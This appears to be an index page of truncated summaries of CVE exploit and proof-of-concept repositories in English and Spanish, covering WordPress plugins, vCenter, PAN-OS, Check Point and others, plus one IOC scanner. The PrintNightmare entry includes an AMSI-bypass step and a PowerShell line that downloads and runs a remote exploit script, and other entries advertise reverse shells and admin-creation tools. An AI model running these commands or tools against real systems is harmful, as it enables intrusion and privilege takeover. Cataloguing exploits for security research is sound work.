CVE-2024-34832

CubeCart - Directory Traversal May Lead To RCE CVE-2024-34832 TL;DR In the admin panel, parameters such as g and node are used to construct the path to include .inc.php files and execute PHP code. A malicious user with the ability to upload .inc.php files anywhere on the server can exploit a path...

CVE-2024-22274

CVE-2024-22274: Authenticated Remote Code Execution in VMware vCenter Server The vCenter Server contains an authenticated remote code execution vulnerability. A malicious actor with administrative privileges on the vCenter appliance shell may exploit this issue to run arbitrary commands on the...

CVE-2025-50364_CSRF_ADD_CATEGORY-phpgurukul-CVE

Nombre del proyecto y URL del repositorio: Maid Hiring Management System using PHP and MySQL Tipo de Vulnerabilidad: Falsificación de Solicitud del Lado del Cliente Versiónes Afectadas: v1.0 💣Descripción de la Vulnerabilidad: Existe una vulnerabilidad de Falsificación de Solicitud entre Sitios CS...

thingsboard-ssrf-cve-2025-34282

CVE-2025-34282 — ThingsBoard SSRF mediante carga de imágenes SVG Resumen Vulnerabilidad de falsificación de solicitudes del servidor SSRF en ThingsBoard IoT Platform en versiones anteriores a 4.2.1. Un atacante con acceso de Tenant Admin puede subir un archivo SVG manipulado que contiene una...

CVE-2025-31161_exploit

CVE-2025-31161 / CVE-2025-2825 exploit en Python Para procesar una sola URL, use el comando: python3 script.py -u http://example.com Para procesar un archivo que contenga una lista de URLs una por línea, use el comando: python3 script.py -l urls.txt Para especificar el número de hilos, use el fla...

cve-2025-4615

CVE-2025-4615 — Análisis Técnico y Prueba de Concepto Vulnerabilidad: Neutralización Inadecuada de Entrada en la Interfaz Web de Administración de PAN-OS Vendor Advisory: https://security.paloaltonetworks.com/CVE-2025-4615 CVSS 4.0: 6.9 MEDIO — Integridad ALTA, Disponibilidad ALTA CWE: CWE-83...

CVE-2022-21661

CVE-2022-21661 CVE-2022-21661 docker y poc Es necesario reemplazar el functions.php de la imagen original con este functions.php; se monta directamente en docker-compose.yml. poc POST /wp-admin/admin-ajax.php HTTP/1.1 Host: your-ip:8080 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:132....

CVE-2023-28121-WordPress-Privilege-Escalation

🔐 CVE-2023-28121 — Escalada de privilegios en WordPress Explotación práctica de una vulnerabilidad crítica en WordPress usando el plugin WooCommerce Payments. 📌 Resumen La CVE-2023-28121 permite crear usuarios administradores sin autenticación vía REST API. Severidad: Crítica CVSS 9.8 Impacto:...

CVE-2025-50286

Grav Admin Direct Install RCE CVE-2025-50286 Módulo de Metasploit y configuración de laboratorio para ejecución remota de código autenticada en la funcionalidad de instalación directa del plugin Grav Admin. Resumen CVE: CVE-2025-50286 Impacto: RCE autenticado Vector: Panel de administración →...

CVE-2021-34646

CVE-2021-34646 PoC detalle de esta vulnerabilidad por NVD Las versiones hasta la 5.4.3, inclusive, del plugin Booster for WooCommerce para WordPress son vulnerables a un bypass de autenticación a través de la función processemailverification debido a una debilidad en la generación de tokens...

CVE-2026-52782

abraxaslabs.tech · github.com/abraxas · @abraxasnull · CVE-2026-52782 CVE-2026-52782 OpenProject 17.3.2 — OpenProject GmbH OpenProject is open-source, web-based project management software. Prior to 17.3.3 and 17.4.1, an IDOR through project storage settings allows a project-admin to hijack anoth...

CVE-2026-8732

CVE-2026-8732 - Escáner Masivo y Creador Automático de Administradores de WordPress WP Google Map Pro 📌 Descripción Esta herramienta explota CVE-2026-8732 , una vulnerabilidad en el plugin WP Google Map Pro para WordPress. La vulnerabilidad permite a un atacante no autenticado obtener un wpmptoke...

cve-2021-1675

cve-2021-1675 deshabilitar amsi: copiar en powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt ejecutar invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crear cuenta de...

CVE-2026-16232

CVE-2026-16232 — Bypass de autenticación de SmartConsole de Check Point PoC de bypass de autenticación desde acceso de red no autenticado hasta privilegios completos de administrador. Archivo único, Python 3, solo biblioteca estándar, cero dependencias. Resumen de la vulnerabilidad El servicio de...

CVE-2024-54363-Exploit

CVE-2024-54363-Exploit La vulnerabilidad de asignación incorrecta de privilegios en nssTheme Wp NssUser Register permite la escalada de privilegios. Este problema afecta a Wp NssUser Register: desde n/a hasta 1.0.0. Descripción El complemento nssTheme Wp NssUser Register para WordPress es...

Wp2shell-ioc-scanner

=== Escáner IOC wp2shell === Contribuidores: michaelkanda URI del autor: https://designare.at URI del plugin: https://github.com/michael-kanda/Wp2shell-ioc-scanner Etiquetas: seguridad, respuesta-a-incidentes, wordpress, shadow-admin, ioc Requiere al menos: 6.0 Probado hasta: 7.0 Requiere PHP: 7....

CVE-2024-27956

🚨POC PUBLICADO🚨PoC para inyección SQL que conduce a RCE en Wordpress publicado CVE-2024-27956. Creación de cuenta de administrador de WordPress y shell inversa cve-2024-27956 Uso- sudo python3 cve.py...

CVE-2022-47132

CVE-2022-47132 Academy LMS history.pushState'', '', '/' input type="hidden" name="linkedinl...

CVE-2025-67875

CVE-2025-67875: ChurchCRM tiene XSS almacenado a través de Asignación de Propiedad de Persona que lleva al Secuestro de Sesión de Administrador Resumen Campo| Detalles ---|--- ID CVE| CVE-2025-67875 Gravedad| ALTA Aviso| Ver Aviso Descubierto por| Lukasz Rybak Productos Afectados ChurchCRM/CRM...

CVE-2025-13315

🛡️ CVE-2025-13315 - Bypass de Autenticación Crítico en Twonky Server 8.5.2 -e63939?style=for-the-badge Un atacante no autenticado puede eludir la autenticación de la API, filtrar credenciales de administrador de los registros y obtener acceso completo de administrador. 📋 Resumen CVE-2025-13315 es...